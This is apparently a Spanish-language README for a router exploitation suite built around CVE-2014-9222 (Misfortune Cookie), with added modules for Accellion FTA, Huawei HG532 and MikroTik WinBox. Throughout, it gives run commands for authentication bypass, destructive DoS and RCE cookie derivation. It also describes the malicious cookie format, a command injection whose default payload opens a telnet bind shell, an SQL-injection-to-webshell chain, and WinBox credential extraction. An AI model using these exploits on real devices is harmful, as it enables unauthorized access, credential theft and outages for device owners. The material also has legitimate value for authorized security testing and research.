
Suite de PoC interactiva para CVE-2014-9222 (Misfortune Cookie) y exploits relacionados de routers, con módulos de detección, bypass de autenticación, DoS y RCE, además de un modo de escaneo para múltiples vulnerabilidades.
Desbordamiento de pila en el manejo de cookies HTTP de AllegroSoft RomPager (todas las versiones
< 4.34). Una única solicitud no autenticada con una cabecera Cookie: manipulada
corrompe la memoria. Efectos: bypass de autenticación de administrador, DoS/reinicio y (con
offsets específicos del firmware) ejecución remota de código.
Úselo únicamente contra hardware que posea o para el que tenga autorización explícita de prueba.
python3 main.py # luego establezca un objetivo con [1]
python3 main.py http://192.168.1.1
[1] Establecer / cambiar objetivo
[2] Obtener huella del objetivo
[3] Detectar vulnerabilidad (seguro, no destructivo)
[4] Bypass de autenticación (cookie mágica)
[5] DoS / bloquear el dispositivo (DESTRUCTIVO)
[6] Ayuda para RCE - derivar cookie a partir de direcciones del firmware
[7] Consulta de tabla de modelos / cookies
[8] Escanear todas las vulnerabilidades (sonda)
[A] Cadena Accellion FTA (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Cada acción imprime primero lo que hará; el DoS requiere escribir YES. La
huella por modelo (realm) se detecta automáticamente desde la cabecera WWW-Authenticate
y se compara con la tabla de cookies.
[8] sondea un host contra las cuatro familias de vulnerabilidades con
comprobaciones no destructivas e imprime cuáles son alcanzables/probablemente vulnerables:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Luego ejecute la entrada de menú correspondiente ([3]/[4]/[A]/[B]/[C]) para explotar
la confirmada.
Junto con Misfortune Cookie, la consola incluye PoC para otras tres vulnerabilidades comunes de dispositivos integrados/aplicaciones:
[A] Accellion FTA (accellion_fta.py) - reproduce la cadena UNC2546
descrita por Mandiant: recupere el secreto w1 mediante inyección SQL a través de una
cabecera Host manipulada (/courier/oauth.api), luego active admin.pl para
escribir un webshell con eval, y verifíquelo. 27103 (SSRF) / 27104 (ejecución de comandos
post-autenticación) se mencionan pero no se ejercitan por defecto.[B] Huawei HG532 (huawei_hg532.py) - POST SOAP a
/ctrlt/DeviceUpgrade_1 con $(<cmd>) en NewStatusURL, autenticación HTTP Digest
dslf-config:admin; el comando predeterminado abre un shell telnet enlazado en el puerto 9999.[C] MikroTik WinBox () - lectura de archivos por
directory-traversal sobre el protocolo WinBox; por defecto lee y
descifra las credenciales almacenadas ( XOR).Todos los PoC adicionales requieren confirmación explícita en la consola.
python3 detect.py http://192.168.1.1 # comprobación segura
python3 auth_bypass.py http://192.168.1.1 # modelo auto-detectado
python3 auth_bypass.py http://192.168.1.1 --restore # re-habilitar autenticación
python3 auth_bypass.py http://192.168.1.1 --all # probar todas las cookies conocidas
python3 auth_bypass.py http://192.168.1.1 --brute # exhaustivo (MUY lento, bloquea)
python3 dos.py http://192.168.1.1 # bloqueo / reinicio (DESTRUCTIVO)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # direcciones -> (num, pad)
Cookie: C<evilnum>=<pad "B" bytes><payload>;
evilnum y pad son específicos del firmware. evilnum indexa el
array de cookies de 0x28 bytes de RomPager (C_Array + evilnum*0x28 + pad = dirección
sobrescrita). La tabla por modelo fusionada de exploitdb 39739 y el módulo
allegro_rompager_auth_bypass de Metasploit está en common.py.
Requiere una imagen de firmware exacta. Pasos (ver rce/README.md): extraiga el rootfs
con binwalk, haga ingeniería inversa del analizador de cookies en Ghidra para encontrar el búfer ->
delta de $ra guardado, derive (num, pad) con derive_cookie.py, valide el
shellcode MIPS contra una imagen emulada con QEMU antes de tocar el objetivo en vivo.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
y auxiliary/admin/http/allegro_rompager_auth_bypass| Vulnerabilidad | CVE | Qué hace la sonda |
|---|
| RomPager | CVE-2014-9222 | Banner HTTP + versión vs 4.34 |
| Huawei HG532 | CVE-2017-17215 | Endpoint SOAP activo + realm Digest |
| MikroTik WinBox | CVE-2018-14847 | lectura de archivos WinBox en vivo (credenciales extraídas) |
| Accellion FTA | CVE-2021-27101/104 | huella de Accellion/oauth.api |
| Menú | CVE | Objetivo | Puerto |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| archivo | propósito |
|---|
main.py | consola interactiva |
ui.py | banner + ayudas de UI (header/info/warn/err/success/prompt/confirm) |
common.py | obtención de huellas, constructor de cookie mágica, tabla por modelo (num, pad) |
detect.py | comprobación de vulnerabilidad no destructiva (versión + cookie canario) |
scan.py | sondear un objetivo contra las cuatro familias de vulnerabilidades (opción 8) |
auth_bypass.py | bypass de autenticación con cookie mágica y auto-detección de realm |
dos.py | desbordamiento de pila con cookie sobredimensionada -> reinicio por watchdog |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> cadena de webshell |
huawei_hg532.py | CVE-2017-17215 inyección de comandos SOAP |
mikrotik_winbox.py | CVE-2018-14847 lectura de archivos WinBox / extracción de credenciales |
rce/derive_cookie.py | convertir C_Array + dirección objetivo en (num, pad) |
rce/README.md | metodología RCE completa + matemática del exploit |
rce/references/ | diapositivas 31C3, whitepaper de NCC, writeups desmitificados, tablas de layout |